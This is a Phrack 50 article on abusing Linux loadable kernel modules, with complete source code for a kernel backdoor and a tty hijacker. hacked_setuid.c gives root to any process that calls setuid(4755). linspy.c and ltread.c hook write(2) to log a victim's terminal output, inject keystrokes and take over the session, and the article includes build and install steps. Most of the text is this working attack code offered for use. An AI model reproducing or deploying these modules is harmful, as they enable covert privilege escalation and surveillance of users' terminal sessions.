.oO Phrack 50 Oo. Volume Seven, Issue Fifty 5 of 16 ============================================ Abuse of the Linux Kernel for Fun and Profit halflife@infonexus.com [guild corporation] ============================================ Introduction ------------ Loadable modules are a very useful feature in linux, as they let you load device drivers on a as-needed basis. However, there is a bad side: they make kernel hacking almost TOO easy. What happens when you can no longer trust your own kernel...? This article describes a simple way kernel modules can be easily abused. System calls ------------ System calls. These are the lowest level of functions available, and are implemented within the kernel. In this article, we will discuss how they can be abused to let us write a very simplistic tty hijacker/monitor. All code was written and designed for linux machines, and will not compile on anything else, since we are mucking with the kernel. TTY Hijackers, such as tap and ttywatcher are common on Solaris, SunOS, and other systems with STREAMS, but Linux thus far has not had a useful tty hijacker (note: I don't consider pty based code such as telnetsnoop to be a hijacker, nor very useful since you must make preparations ahead of time to monitor users). Since linux currently lacks STREAMS (LinSTREAMS appears to be dead), we must come up with a alternative way to monitor the stream. Stuffing keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff keystrokes into the input stream. The solution, of course, is to redirect the write(2) system call to our own code which logs the contents of the write if it is directed at our tty; we can then call the real write(2) system call. Clearly, a device driver is going to be the best way to do things. We can read from the device to get the data that has been logged, and add a ioctl or two in order to tell our code exactly what tty we want to log. Redirection of system calls --------------------------- System calls are pretty easy to redirect to our own code. It works in principle like DOS terminate and stay resident code. We save the old address in a variable, then set a new one pointing to our code. In our code, we do our thing, and then call the original code when finished. A very simple example of this is contained in hacked_setuid.c, which is a simple loadable module that you can insmod, and once it is inserted into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0. (See the appended file for all the code.) The addresses for the syscalls are contained in the sys_call_table array. It is relatively easy to redirect syscalls to point to our code. Once we have done this, many things are possible... Linspy notes ------------ This module is VERY easy to spot, all you have to do is cat /proc/modules and it shows up as plain as day. Things can be done to fix this, but I have no intention on doing them. To use linspy, you need to create an ltap device, the major should be 40 and the minor should be 0. After you do that, run make and then insmod the linspy device. Once it is inserted, you can run ltread [tty] and if all goes well, you should see stuff that is output to the user's screen. If all does not go well ... well, I shall leave that to your nightmares. The Code [use the included extract.c utility to unarchive the code] --------------------------------------------------------------------- <++> linspy/Makefile CONFIG_KERNELD=-DCONFIG_KERNELD CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD) CC=gcc # this is the name of the device you have (or will) made with mknod DN = '-DDEVICE_NAME="/dev/ltap"' # 1.2.x need this to compile, comment out on 1.3+ kernels V = #-DNEED_VERSION MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX all: linspy ltread setuid linspy: linspy.c /usr/include/linux/version.h $(CC) $(MODCFLAGS) -c linspy.c ltread: $(CC) $(DN) -o ltread ltread.c clean: rm *.o ltread setuid: hacked_setuid.c /usr/include/linux/version.h $(CC) $(MODCFLAGS) -c hacked_setuid.c <--> end Makefile <++> linspy/hacked_setuid.c int errno; #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef NEED_VERSION static char kernel_version[] = UTS_RELEASE; #endif static inline _syscall1(int, setuid, uid_t, uid); extern void *sys_call_table[]; void *original_setuid; extern int hacked_setuid(uid_t uid) { int i; if(uid == 4755) { current->uid = current->euid = current->gid = current->egid = 0; return 0; } sys_call_table[SYS_setuid] = original_setuid; i = setuid(uid); sys_call_table[SYS_setuid] = hacked_setuid; if(i == -1) return -errno; else return i; } int init_module(void) { original_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = hacked_setuid; return 0; } void cleanup_module(void) { sys_call_table[SYS_setuid] = original_setuid; } <++> linspy/linspy.c int errno; #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef MODULE #include #include #endif #include #include #include #include #include #include #include #include #include /* set the version information, if needed */ #ifdef NEED_VERSION static char kernel_version[] = UTS_RELEASE; #endif #ifndef MIN #define MIN(a,b) ((a) < (b) ? (a) : (b)) #endif /* ring buffer info */ #define BUFFERSZ 2048 char buffer[BUFFERSZ]; int queue_head = 0; int queue_tail = 0; /* taken_over indicates if the victim can see any output */ int taken_over = 0; static inline _syscall3(int, write, int, fd, char *, buf, size_t, count); extern void *sys_call_table[]; /* device info for the linspy device, and the device we are watching */ static int linspy_major = 40; int tty_minor = -1; int tty_major = 4; /* address of original write(2) syscall */ void *original_write; void save_write(char *, size_t); int out_queue(void) { int c; if(queue_head == queue_tail) return -1; c = buffer[queue_head]; queue_head++; if(queue_head == BUFFERSZ) queue_head=0; return c; } int in_queue(int ch) { if((queue_tail + 1) == queue_head) return 0; buffer[queue_tail] = ch; queue_tail++; if(queue_tail == BUFFERSZ) queue_tail=0; return 1; } /* check if it is the tty we are looking for */ int is_fd_tty(int fd) { struct file *f=NULL; struct inode *inode=NULL; int mymajor=0; int myminor=0; if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode)) return 0; mymajor = major(inode->i_rdev); myminor = minor(inode->i_rdev); if(mymajor != tty_major) return 0; if(myminor != tty_minor) return 0; return 1; } /* this is the new write(2) replacement call */ extern int new_write(int fd, char *buf, size_t count) { int r; if(is_fd_tty(fd)) { if(count > 0) save_write(buf, count); if(taken_over) return count; } sys_call_table[SYS_write] = original_write; r = write(fd, buf, count); sys_call_table[SYS_write] = new_write; if(r == -1) return -errno; else return r; } /* save data from the write(2) call into the buffer */ void save_write(char *buf, size_t count) { int i; for(i=0;i < count;i++) in_queue(get_fs_byte(buf+i)); } /* read from the ltap device - return data from queue */ static int linspy_read(struct inode *in, struct file *fi, char *buf, int count) { int i; int c; int cnt=0; if(current->euid != 0) return 0; for(i=0;i < count;i++) { c = out_queue(); if(c < 0) break; cnt++; put_fs_byte(c, buf+i); } return cnt; } /* open the ltap device */ static int linspy_open(struct inode *in, struct file *fi) { if(current->euid != 0) return -EIO; MOD_INC_USE_COUNT; return 0; } /* close the ltap device */ static void linspy_close(struct inode *in, struct file *fi) { taken_over=0; tty_minor = -1; MOD_DEC_USE_COUNT; } /* some ioctl operations */ static int linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args) { #define LS_SETMAJOR 0 #define LS_SETMINOR 1 #define LS_FLUSHBUF 2 #define LS_TOGGLE 3 if(current->euid != 0) return -EIO; switch(cmd) { case LS_SETMAJOR: tty_major = args; queue_head = 0; queue_tail = 0; break; case LS_SETMINOR: tty_minor = args; queue_head = 0; queue_tail = 0; break; case LS_FLUSHBUF: queue_head=0; queue_tail=0; break; case LS_TOGGLE: if(taken_over) taken_over=0; else taken_over=1; break; default: return 1; } return 0; } static struct file_operations linspy = { NULL, linspy_read, NULL, NULL, NULL, linspy_ioctl, NULL, linspy_open, linspy_close, NULL }; /* init the loadable module */ int init_module(void) { original_write = sys_call_table[SYS_write]; sys_call_table[SYS_write] = new_write; if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO; return 0; } /* cleanup module before being removed */ void cleanup_module(void) { sys_call_table[SYS_write] = original_write; unregister_chrdev(linspy_major, "linspy"); } <--> end linspy.c <++> linspy/ltread.c #include #include #include #include #include #include #include #include #include #include struct termios save_termios; int ttysavefd = -1; int fd; #ifndef DEVICE_NAME #define DEVICE_NAME "/dev/ltap" #endif #define LS_SETMAJOR 0 #define LS_SETMINOR 1 #define LS_FLUSHBUF 2 #define LS_TOGGLE 3 void stuff_keystroke(int fd, char key) { ioctl(fd, TIOCSTI, &key); } int tty_cbreak(int fd) { struct termios buff; if(tcgetattr(fd, &save_termios) < 0) return -1; buff = save_termios; buff.c_lflag &= ~(ECHO | ICANON); buff.c_cc[VMIN] = 0; buff.c_cc[VTIME] = 0; if(tcsetattr(fd, TCSAFLUSH, &buff) < 0) return -1; ttysavefd = fd; return 0; } char *get_device(char *basedevice) { static char devname[1024]; int fd; if(strlen(basedevice) > 128) return NULL; if(basedevice[0] == '/') strcpy(devname, basedevice); else sprintf(devname, "/dev/%s", basedevice); fd = open(devname, O_RDONLY); if(fd < 0) return NULL; if(!isatty(fd)) return NULL; close(fd); return devname; } int do_ioctl(char *device) { struct stat mystat; if(stat(device, &mystat) < 0) return -1; fd = open(DEVICE_NAME, O_RDONLY); if(fd < 0) return -1; if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1; if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1; } void sigint_handler(int s) { exit(s); } void cleanup_atexit(void) { puts(" "); if(ttysavefd >= 0) tcsetattr(ttysavefd, TCSAFLUSH, &save_termios); } main(int argc, char **argv) { int my_tty; char *devname; unsigned char ch; int i; if(argc != 2) { fprintf(stderr, "%s ttyname\n", argv[0]); fprintf(stderr, "ttyname should NOT be your current tty!\n"); exit(0); } devname = get_device(argv[1]); if(devname == NULL) { perror("get_device"); exit(0); } if(tty_cbreak(0) < 0) { perror("tty_cbreak"); exit(0); } atexit(cleanup_atexit); signal(SIGINT, sigint_handler); if(do_ioctl(devname) < 0) { perror("do_ioctl"); exit(0); } my_tty = open(devname, O_RDWR); if(my_tty == -1) exit(0); setvbuf(stdout, NULL, _IONBF, 0); printf("[now monitoring session]\n"); while(1) { i = read(0, &ch, 1); if(i > 0) { if(ch == 24) { ioctl(fd, LS_TOGGLE, 0); printf("[Takeover mode toggled]\n"); } else stuff_keystroke(my_tty, ch); } i = read(fd, &ch, 1); if(i > 0) putchar(ch); } } <--> end ltread.c EOF